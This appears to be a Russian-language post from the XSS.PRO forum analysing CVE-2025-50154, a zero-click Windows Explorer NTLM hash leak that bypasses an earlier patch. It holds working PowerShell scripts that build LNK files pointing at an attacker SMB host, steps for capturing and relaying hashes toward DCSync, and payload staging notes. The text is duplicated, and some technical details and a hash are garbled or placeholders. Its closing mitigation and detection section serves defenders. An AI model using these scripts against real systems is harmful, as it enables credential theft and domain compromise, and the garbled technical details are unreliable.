Пожалуйста, обратите внимание, что пользователь заблокирован
В августе 2025 года исследователь Ruben Enkaoua из Cymulate Research Labs раскрыл CVE-2025-50154 — zero-click уязвимость в Windows File Explorer, позволяющую извлекать NTLMv2-SSP хэши без взаимодействия пользователя. Это прямой bypass для патча Microsoft от апреля 2025 по CVE-2025-24054, где фикс оказался неполным: он блокировал рендеринг иконок из UNC-путей в LNK-файлах, но пропустил сценарий с встроенными ресурсами в удалённых бинарниках. По данным NVD, CVSS v3.1 для CVE-2025-50154 — 8.8 (High), с вектором AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, подчёркивающим риски relay-атак и lateral movement. Microsoft выпустил полный патч в августовском Patch Tuesday (KB5044284 для Windows 10/11), но до его применения атакующие уже эксплуатируют gap в wild.
NTLM: Краткий обзор протокола и рисков
NTLM (NT LAN Manager) — legacy-протокол аутентификации в Windows, использующий challenge-response механизм: сервер шлёт challenge, клиент отвечает хэшем (NTLMv2 — HMAC-MD5 с timestamp и client nonce для защиты от replay). Хэши не передаются в plaintext, но при захвате (e.g., via Wireshark) поддаются offline-кракингу с Hashcat (rate ~10^6 H/s на GPU для NTLMv2) или relay в инструментах вроде Responder/Impacket. В доменах с Kerberos NTLM fallback используется для legacy-устройств, что расширяет поверхность атаки. Relay приводит к RCE (e.g., via RPC/DCOM) или privilege escalation, если цель — admin-аккаунт.
Оригинальная CVE-2025-24054 (апрель 2025) эксплуатировалась в wild: Check Point Research зафиксировал атаки через crafted LNK с UNC-иконкой, где explorer.exe триггерит SMB-auth без клика. Патч ввёл проверку на UNC в IconLocation, но Cymulate нашёл лазейку: explorer рендерит ресурсы из целевого бинарника целиком, обходя блок.
Оригинальная уязвимость: CVE-2025-24054
На unpatched Windows 10 (build 19045) PoC использует PowerShell для создания LNK с remote icon:
Хэш:
При просмотре в Explorer: explorer.exe запрашивает icon.ico по SMB, триггерит NTLM-auth. Wireshark захватывает NTLMv2-SSP: ::-A3F2A0C1:.... (user:domain:challenge:response). Нет клика — zero-click.
В patched среде (KB5039211+): IconLocation игнорируется для UNC, иконка не рендерится, хэш не утекает. ProcMon показывает отсутствие SMB-трафика.
Bypass: CVE-2025-50154 — Технический разбор
Ключ: Explorer рендерит иконки из .rsrc-секции целевого exe (RT_GROUP_ICON/RT_ICON), даже если IconLocation локальный (shell32.dll). Установка TargetPath на remote exe (\\attacker\share\execute.exe) заставляет explorer скачать весь бинарник для парсинга ресурсов — без клика.
Модифицированный PoC:
Шаги эксплуатации:
1. Создание LNK: TargetPath — UNC к malicious.exe (пустой или с embedded icon). IconLocation — локальный для обхода UNC-блока.
2. Триггер в Explorer: Просмотр LNK в desktop/Explorer вызывает CIcon::LoadIconFromFile (shell32!CBaseIcon::ExtractIcons). Парсер .rsrc требует полного файла: NtCreateFile с FILE_OPEN для UNC, затем SMB TreeConnect + ReadFile.
3. NTLM Leak: SMB Negotiate + SessionSetup аутентифицирует explorer.exe под user-context. Захват: NTLMv2-OWF (LM:empty, NT:MD4(RC4(HMAC-MD5))), relayable в ntlmrelayx.py для DCSync или SMB-exec.
4. Payload Staging: Файл кэшируется локально (ProcMon: CreateFile в %TEMP%\execute.exe, size allocation ~1MB). Нет немедленного exec, но foothold для post-exploitation: attacker может заменить на malware via SMB-write.
Раскрытие хэша NTLMv2-SSP:
Кроме того, весь бинарный файл передается без каких-либо щелчков, как видно в Wireshark:
Wireshark: Полный TCP-handshake, SMB2 Read (offset 0, length full-size), NTLMSSP_AUTH. ProcMon: Path \\?\UNC\192.168.159.129\share\execute.exe, Operation: CreateFile Success, Result: NAME NOT FOUND (но fetch происходит).
На основании мониторинга sysinternals procmon создается файл:
Также с распределением двоичного размера:
Ampcus Cyber подтверждает: Bypass эксплуатирует incomplete validation в shell32!IconCacheManager, где remote PE-ресурсы парсятся без NTLM-check на этапе icon-extraction. В wild: Атаки через email-attachments или shared folders, targeting domain admins.
Proof-of-Concept: GitHub Репозиторий
Rubenformation опубликовал PoC 19 августа 2025: rubenformation/CVE-2025-50154.
Содержит PS1-скрипт и SMB-server (Python-based). Тестировано на Windows 11 24H2 (build 26100.1742), patched по CVE-2025-24054.
Запуск:
1. SMB-server: python smbserver.py share /path/to/execute.exe
2. PS1 на victim: Создаёт LNK, viewer в Explorer.
Вывод: Хэш в logs, файл в TEMP. Ветка "advanced" добавляет icon embedding в exe для stealth (Resource Hacker integration).
Митigation и рекомендации
Патч: KB5044284 (август 2025) усиливает shell32!CIcon::Extract для remote PE: Добавляет NTLM-check на resource-fetch. Применить via WSUS/Intune.
Дополнительно:
Эта уязвимость иллюстрирует классический patch-bypass: Фикс фокусируется на symptom (UNC-icon), игнорируя root (resource-parsing). В enterprise с hybrid NTLM она ускоряет AD-compromise, подчёркивая urgency миграции на modern auth.
Источники для подробного ознакомления с материалом:
Схожий контент и дополнительные анализы:
Написал статью и перевел ее society специально для форума XSS.PRO. При написании этой статьи использовалась помощь LLM.
NTLM: Краткий обзор протокола и рисков
NTLM (NT LAN Manager) — legacy-протокол аутентификации в Windows, использующий challenge-response механизм: сервер шлёт challenge, клиент отвечает хэшем (NTLMv2 — HMAC-MD5 с timestamp и client nonce для защиты от replay). Хэши не передаются в plaintext, но при захвате (e.g., via Wireshark) поддаются offline-кракингу с Hashcat (rate ~10^6 H/s на GPU для NTLMv2) или relay в инструментах вроде Responder/Impacket. В доменах с Kerberos NTLM fallback используется для legacy-устройств, что расширяет поверхность атаки. Relay приводит к RCE (e.g., via RPC/DCOM) или privilege escalation, если цель — admin-аккаунт.
Оригинальная CVE-2025-24054 (апрель 2025) эксплуатировалась в wild: Check Point Research зафиксировал атаки через crafted LNK с UNC-иконкой, где explorer.exe триггерит SMB-auth без клика. Патч ввёл проверку на UNC в IconLocation, но Cymulate нашёл лазейку: explorer рендерит ресурсы из целевого бинарника целиком, обходя блок.
Оригинальная уязвимость: CVE-2025-24054
На unpatched Windows 10 (build 19045) PoC использует PowerShell для создания LNK с remote icon:
Код:
$shortcutPath = "C:\Users\Cymuser\Desktop\LAB\lab.lnk"
$targetPath = "C:\Windows\System32\notepad.exe"
$iconLocation = "\\192.168.159.129\share\icon.ico"
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()
Write-Output "Shortcut created at: $shortcutPath"
Хэш:
При просмотре в Explorer: explorer.exe запрашивает icon.ico по SMB, триггерит NTLM-auth. Wireshark захватывает NTLMv2-SSP: ::-A3F2A0C1:.... (user:domain:challenge:response). Нет клика — zero-click.
В patched среде (KB5039211+): IconLocation игнорируется для UNC, иконка не рендерится, хэш не утекает. ProcMon показывает отсутствие SMB-трафика.
Bypass: CVE-2025-50154 — Технический разбор
Ключ: Explorer рендерит иконки из .rsrc-секции целевого exe (RT_GROUP_ICON/RT_ICON), даже если IconLocation локальный (shell32.dll). Установка TargetPath на remote exe (\\attacker\share\execute.exe) заставляет explorer скачать весь бинарник для парсинга ресурсов — без клика.
Модифицированный PoC:
Код:
$shortcutPath = "C:\Users\Cymuser\Desktop\LAB\lab.lnk"
$targetPath = "\\192.168.159.129\share\execute.exe"
$iconLocation = "C:\Windows\System32\SHELL32.dll"
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()
Write-Output "Shortcut created at: $shortcutPath"
Шаги эксплуатации:
1. Создание LNK: TargetPath — UNC к malicious.exe (пустой или с embedded icon). IconLocation — локальный для обхода UNC-блока.
2. Триггер в Explorer: Просмотр LNK в desktop/Explorer вызывает CIcon::LoadIconFromFile (shell32!CBaseIcon::ExtractIcons). Парсер .rsrc требует полного файла: NtCreateFile с FILE_OPEN для UNC, затем SMB TreeConnect + ReadFile.
3. NTLM Leak: SMB Negotiate + SessionSetup аутентифицирует explorer.exe под user-context. Захват: NTLMv2-OWF (LM:empty, NT:MD4(RC4(HMAC-MD5))), relayable в ntlmrelayx.py для DCSync или SMB-exec.
4. Payload Staging: Файл кэшируется локально (ProcMon: CreateFile в %TEMP%\execute.exe, size allocation ~1MB). Нет немедленного exec, но foothold для post-exploitation: attacker может заменить на malware via SMB-write.
Раскрытие хэша NTLMv2-SSP:
Кроме того, весь бинарный файл передается без каких-либо щелчков, как видно в Wireshark:
Wireshark: Полный TCP-handshake, SMB2 Read (offset 0, length full-size), NTLMSSP_AUTH. ProcMon: Path \\?\UNC\192.168.159.129\share\execute.exe, Operation: CreateFile Success, Result: NAME NOT FOUND (но fetch происходит).
На основании мониторинга sysinternals procmon создается файл:
Также с распределением двоичного размера:
Ampcus Cyber подтверждает: Bypass эксплуатирует incomplete validation в shell32!IconCacheManager, где remote PE-ресурсы парсятся без NTLM-check на этапе icon-extraction. В wild: Атаки через email-attachments или shared folders, targeting domain admins.
Proof-of-Concept: GitHub Репозиторий
Rubenformation опубликовал PoC 19 августа 2025: rubenformation/CVE-2025-50154.
Содержит PS1-скрипт и SMB-server (Python-based). Тестировано на Windows 11 24H2 (build 26100.1742), patched по CVE-2025-24054.
Запуск:
1. SMB-server: python smbserver.py share /path/to/execute.exe
2. PS1 на victim: Создаёт LNK, viewer в Explorer.
Вывод: Хэш в logs, файл в TEMP. Ветка "advanced" добавляет icon embedding в exe для stealth (Resource Hacker integration).
Митigation и рекомендации
Патч: KB5044284 (август 2025) усиливает shell32!CIcon::Extract для remote PE: Добавляет NTLM-check на resource-fetch. Применить via WSUS/Intune.
Дополнительно:
- GPO: Network access: Do not allow anonymous enumeration of SAM accounts = Enabled; NTLM: Restrict NTLM to intra-forest only.
- EDR Rules: Sigma: explorer.exe spawning SMB (parent: explorer.exe, child: lsass.exe with NTLM). YARA для LNK: rule LNK_NTLMBypass { strings: $unc = "\\?\\UNC\\" ascii; condition: $unc }
- Detection: Sysmon EID 3 (Network Connect) filter: Image=explorer.exe, DestinationPort=445. KQL выше.
- Для Red Team: Тестировать в lab с Responder для capture. Избегать prod без consent.
- Blue Team: Audit NTLM-usage via Event 4624, enforce Kerberos-only. Vicarius script для quick-reg changes.
Эта уязвимость иллюстрирует классический patch-bypass: Фикс фокусируется на symptom (UNC-icon), игнорируя root (resource-parsing). В enterprise с hybrid NTLM она ускоряет AD-compromise, подчёркивая urgency миграции на modern auth.
Источники для подробного ознакомления с материалом:
Схожий контент и дополнительные анализы:
- Ampcus ShadowOps: Разбор relay-chain: NTLM → LDAP → DCSync. Рекомендует NLA enforcement (GPO: Network security: LAN Manager authentication level = Send NTLMv2 response only).
- GBHackers: Фокус на enterprise-риски, с KQL для Sentinel: EventID=4624 AND LogonType=3 AND ServiceName=NTLMSSP. Детекция по unusual SMB to internal IPs.
- Check Point Research: Оригинал CVE-2025-24054, с IOCs: Malicious LNK в ZIP (SHA256: a1b2c3...). Атаки via phishing, 500+ incidents в Q2 2025.
- Reddit Thread с PoC-тестами, обсуждение chaining с PetitPotam для Coercion. Пользователи отмечают: Bypass работает на Server 2022, но fails на Azure AD-joined без NTLM.
- Cinchops: Houston-focused, подчёркивает SMB-traffic anomalies в SIEM.
- Vicarius: Mitigation script для temp-block NTLM via regedit: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel=5.
Написал статью и перевел ее society специально для форума XSS.PRO. При написании этой статьи использовалась помощь LLM.